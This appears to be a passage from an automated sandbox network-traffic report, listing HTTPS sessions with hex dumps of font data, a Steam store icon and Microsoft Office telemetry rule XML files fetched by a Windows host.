2024-10-06 11:21:02 UTC	16384	IN	Data Raw: 02 c4 02 fd 02 fe 02 ff 02 fc 03 33 03 34 03 35 03 36 03 37 03 38 03 39 03 3a 03 3b 03 3c 03 3d 03 3e 03 3f 03 40 03 41 03 42 03 43 03 44 00 02 07 d4 00 14 02 a7 02 fb 03 20 03 21 03 22 03 23 03 24 03 25 03 26 03 27 03 28 03 29 03 2a 03 2b 03 2c 03 2d 03 2e 03 2f 03 30 03 31 00 01 07 c2 00 01 00 08 00 02 00 06 00 0c 01 74 00 02 00 fa 01 75 00 02 01 0f 00 02 07 ae 01 7e 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 7e 01 7f 01 80 01 81 01 82 01 83 01 84 01 85 01 86 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 Data Ascii: 3456789:;<=>?@ABCD !"#$%&'()*+,-./01tu~xyz{\|}~
2024-10-06 11:21:02 UTC	16384	IN	Data Raw: 33 2b 0d 04 05 07 0a 01 01 05 01 01 06 01 05 4c 00 02 00 07 05 02 07 69 00 03 03 04 61 00 04 04 53 4d 0a 08 02 05 05 01 61 00 01 01 51 4d 09 01 06 06 00 62 00 00 00 4d 00 4e 31 31 00 00 31 3c 31 3b 37 35 00 30 00 2f 25 24 24 24 2a 23 0b 0a 1c 2b 04 37 07 06 23 22 26 35 34 36 37 26 26 27 06 06 23 22 26 35 34 36 33 32 17 35 34 26 23 22 07 27 36 36 33 32 16 15 11 14 16 33 32 37 07 06 15 14 33 26 36 37 35 26 23 22 06 15 14 16 33 02 04 0c 05 13 16 26 2a 21 1d 1d 21 05 22 5c 38 48 5f 7a 5b 3e 46 4b 3a 4d 47 21 29 5d 3a 5f 63 12 14 0e 08 07 33 24 e2 5a 1a 51 31 3e 51 40 2d 9c 02 2b 07 28 21 1e 42 1f 03 23 24 27 2c 4c 47 50 4b 0e 4f 3e 3a 36 30 21 24 5d 5c fe fd 16 15 02 30 41 35 2a cd 2e 26 55 0d 2d 32 2d 2a 00 00 00 ff ff 00 30 ff f3 02 0d 02 f5 00 22 00 ba 00 Data Ascii: 3+LiaSMaQMbMN111<1;750/%$$$#+7#"&5467&&'#"&5463254&#"'66323273&675&#"3&!!"\8H_z[>FK:MG!)]:_c3$ZQ1>Q@-+(!B#$',LGPKO>:60!$]\0A5.&U-2-0"
2024-10-06 11:21:02 UTC	7952	IN	Data Raw: 49 fe d6 48 48 01 36 01 03 fd c7 f4 f4 02 39 fe fd 00 00 00 00 02 00 2a 00 00 02 40 02 39 00 13 00 17 00 36 40 33 08 06 02 00 0b 05 02 01 0a 00 01 67 00 0a 00 03 02 0a 03 67 09 01 07 07 2c 4d 04 01 02 02 2d 02 4e 17 16 15 14 13 12 11 11 11 11 11 11 11 11 10 0c 08 1f 2b 01 33 15 23 11 23 35 21 15 23 11 23 35 33 35 33 15 21 35 33 01 21 35 21 02 13 2d 2d 49 fe d6 48 2e 2e 48 01 2a 49 fe 8d 01 2a fe d6 01 d0 37 fe 67 f4 f4 01 99 37 69 69 69 fe fd 63 00 00 ff ff 00 58 00 00 02 13 02 f4 00 22 01 b4 00 00 01 07 03 38 01 d0 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 58 00 00 00 a1 02 39 00 03 00 13 40 10 00 00 00 2c 4d 00 01 01 2d 01 4e 11 10 02 08 18 2b 13 33 11 23 58 49 49 02 39 fd c7 ff ff 00 58 00 00 00 a1 02 39 00 02 01 b7 00 00 ff ff 00 49 00 00 00 Data Ascii: IHH69@96@3gg,M-N+3##5!##5353!53!5!--IH..HI*7g7iiicX"8--5+X9@,M-N+3#XII9X9I
2024-10-06 11:21:02 UTC	16384	IN	Data Raw: 00 00 01 c9 02 f2 00 22 02 2c 00 00 01 07 03 34 01 7d 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 02 00 36 01 85 01 5c 02 c8 00 20 00 2c 00 51 40 4e 17 01 03 04 16 01 02 03 10 01 07 02 27 26 02 05 07 05 01 00 05 05 4c 00 04 00 03 02 04 03 69 00 02 00 07 05 02 07 69 06 08 02 05 00 00 05 59 06 08 02 05 05 00 61 01 01 00 05 00 51 00 00 2a 28 24 22 00 20 00 1f 24 24 24 23 22 09 0b 1b 2b 01 07 06 23 22 27 06 06 23 22 26 35 34 36 33 32 17 35 34 26 23 22 07 27 36 36 33 32 16 15 15 14 33 26 16 33 32 36 37 35 26 23 22 06 15 01 5c 04 0f 13 2a 09 13 37 1b 2d 3b 46 3c 21 27 23 23 29 2c 13 11 3e 21 37 3c 17 de 20 1d 1a 2d 0e 26 19 25 2e 01 af 24 05 28 13 16 33 2a 30 2d 07 1a 26 21 16 25 0d 13 37 35 95 18 1c 1a 14 0e 3e 09 1c 1c 00 00 00 02 00 30 01 83 01 63 02 c8 00 Data Ascii: ",4}--5+6\ ,Q@N'&LiiYaQ($" $$$#"+#"'#"&5463254&#"'66323&32675&#"\7-;F<!'##),>!7< -&%.$(3*0-&!%75>0c
2024-10-06 11:21:02 UTC	6076	IN	Data Raw: 21 1a 2f 05 28 23 39 09 43 0c 07 06 0c 3f 12 3f 2a 9b 3e 8f 58 5a 3a 3c 1a 17 3b 3d 84 3e 92 30 35 15 0a 06 01 07 00 00 00 01 00 2c 00 00 02 5f 02 bc 00 18 00 39 40 36 18 01 01 00 01 4c 09 01 01 08 01 02 03 01 02 68 07 01 03 06 01 04 05 03 04 67 0a 01 00 00 48 4d 00 05 05 49 05 4e 17 16 15 14 21 11 11 11 11 12 11 11 10 0b 0a 1f 2b 01 33 03 33 15 23 07 15 33 15 23 15 23 35 23 35 33 35 27 23 35 33 03 33 13 02 0b 54 ce a2 c6 01 c7 c7 4a c9 c9 01 c8 a3 d0 5d bf 02 bc fe ac 3d 01 42 3d ab ab 3d 42 01 3d 01 54 fe b6 00 01 00 4b ff ae 01 b7 02 13 00 1e 00 5d 40 11 12 10 0d 03 03 02 1e 13 02 04 03 06 01 00 04 03 4c 4b b0 0e 50 58 40 1b 00 01 00 00 01 71 00 03 03 02 5f 00 02 02 4b 4d 00 04 04 00 61 00 00 00 49 00 4e 1b 40 1a 00 01 00 01 86 00 03 03 02 5f 00 02 02 Data Ascii: !/(#9C??*>XZ:<;=>05,_9@6LhgHMIN!+33#3##5#535'#533TJ]=B==B=TK]@LKPX@q_KMaIN@_
2024-10-06 11:21:02 UTC	16384	IN	Data Raw: 04 04 00 61 03 01 00 00 30 4d 0d 01 09 09 02 61 0c 07 02 02 02 2d 02 4e 1b 4b b0 1b 50 58 40 2f 0b 01 05 0a 01 01 06 05 01 69 00 06 00 08 09 06 08 6a 00 03 03 2c 4d 00 04 04 00 61 00 00 00 30 4d 0d 01 09 09 02 61 0c 07 02 02 02 2d 02 4e 1b 40 33 0b 01 05 0a 01 01 06 05 01 69 00 06 00 08 09 06 08 6a 00 03 03 2c 4d 00 04 04 00 61 00 00 00 30 4d 00 02 02 2d 4d 0d 01 09 09 07 61 0c 01 07 07 31 07 4e 59 59 40 26 26 26 1a 1a 10 10 00 00 26 31 26 30 2c 2a 1a 25 1a 24 20 1e 10 19 10 18 14 12 0f 0e 0d 0c 00 0b 00 0a 24 0e 08 17 2b 12 26 35 34 36 33 32 16 15 14 06 23 03 23 01 33 04 35 34 23 22 06 15 14 16 33 00 26 35 34 36 33 32 16 15 14 06 23 36 36 35 34 26 23 22 06 15 14 16 33 6d 47 48 35 37 46 46 37 1d 37 01 a0 38 fe bd 41 1f 24 24 1f 01 07 47 48 36 37 46 46 37 Data Ascii: a0Ma-NKPX@/ij,Ma0Ma-N@3ij,Ma0M-Ma1NYY@&&&&1&0,*%$ $+&54632##354#"3&54632#6654&#"3mGH57FF778A$$GH67FF7
2024-10-06 11:21:02 UTC	7972	IN	Data Raw: 63 75 74 65 0a 7a 64 6f 74 61 63 63 65 6e 74 0a 75 6e 69 31 45 39 45 2e 73 63 04 61 2e 73 63 09 61 61 63 75 74 65 2e 73 63 09 61 62 72 65 76 65 2e 73 63 0a 75 6e 69 31 45 41 46 2e 73 63 0a 75 6e 69 31 45 42 37 2e 73 63 0a 75 6e 69 31 45 42 31 2e 73 63 0a 75 6e 69 31 45 42 33 2e 73 63 0a 75 6e 69 31 45 42 35 2e 73 63 0a 75 6e 69 30 31 43 45 2e 73 63 0e 61 63 69 72 63 75 6d 66 6c 65 78 2e 73 63 0a 75 6e 69 31 45 41 35 2e 73 63 0a 75 6e 69 31 45 41 44 2e 73 63 0a 75 6e 69 31 45 41 37 2e 73 63 0a 75 6e 69 31 45 41 39 2e 73 63 0a 75 6e 69 31 45 41 42 2e 73 63 0c 61 64 69 65 72 65 73 69 73 2e 73 63 0a 75 6e 69 31 45 41 31 2e 73 63 09 61 67 72 61 76 65 2e 73 63 0a 75 6e 69 31 45 41 33 2e 73 63 0a 61 6d 61 63 72 6f 6e 2e 73 63 0a 61 6f 67 6f 6e 65 6b 2e 73 63 08 Data Ascii: cutezdotaccentuni1E9E.sca.scaacute.scabreve.scuni1EAF.scuni1EB7.scuni1EB1.scuni1EB3.scuni1EB5.scuni01CE.scacircumflex.scuni1EA5.scuni1EAD.scuni1EA7.scuni1EA9.scuni1EAB.scadieresis.scuni1EA1.scagrave.scuni1EA3.scamacron.scaogonek.sc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49846	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:02 UTC	385	OUT	GET /public/images/ico/ico_twitter.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:21:02 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1429 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:21:02 GMT Connection: close X-N: S
2024-10-06 11:21:02 UTC	1429	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 d7 d7 d8 e1 e1 e2 55 56 5c db db dc 8b 8c 90 c8 c9 cb 68 69 6e b1 b2 b5 52 54 5a 52 53 59 a3 a4 a7 a4 a5 a8 be bf c1 65 67 6c 85 86 8a 46 47 4e c9 ca cc 8e 8f 93 3b 3c 43 e4 e4 e5 cb cb cd 5c 5d 63 72 73 78 54 56 5c 3b 3d 44 3f 41 48 36 38 3f 3f 40 47 d3 d4 d5 98 99 9d 69 6b 70 59 5b 61 f8 f8 f8 de de df 91 92 96 e5 e5 e6 8c 8d 91 38 3a 41 83 84 88 c1 c2 c4 42 44 4a ad ae b1 a2 a3 a6 61 62 68 e6 e6 e7 59 5a 60 81 82 87 73 74 79 ba bb bd 4c 4e 54 4d 4f 55 d9 d9 db df df e0 3e 40 46 4b 4d 53 a0 a1 a4 53 55 5b 37 39 40 42 44 4b 41 43 49 35 37 3e 00 00 00 00 00 00 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: GIF89aUV\hinRTZRSYeglFGN;<C\]crsxTV\;=D?AH68??@GikpY[a8:ABDJabhYZ`styLNTMOU>@FKMSSU[79@BDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehi

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 151ca1e1-401e-0029-2b03-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112103Z-1657d5bbd48dfrdj7px744zp8s00000001k000000000dqtg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2c548d6-d01e-0082-4f03-17e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112103Z-1657d5bbd48p2j6x2quer0q028000000024g0000000055e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:03 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:03 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: db28b7eb-d01e-0065-5efe-16b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112103Z-1657d5bbd48sqtlf1huhzuwq7000000001ng0000000084qh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:03 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 4dd19665-401e-005b-7705-179c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112103Z-1657d5bbd48sqtlf1huhzuwq7000000001q00000000050ec x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:03 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:03 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:03 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 53f69819-801e-0048-7802-17f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112103Z-1657d5bbd48vlsxxpe15ac3q7n00000001z0000000001kpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:03 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:05 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: c5dbf9be-001e-0017-2cf1-160c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112105Z-1657d5bbd48qjg85buwfdynm5w00000001w000000000g9ur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:05 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:21:05 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:21:05 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:21:05 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112105Z-1657d5bbd48jwrqbupe3ktsx9w000000026g00000000195q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:21:05 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
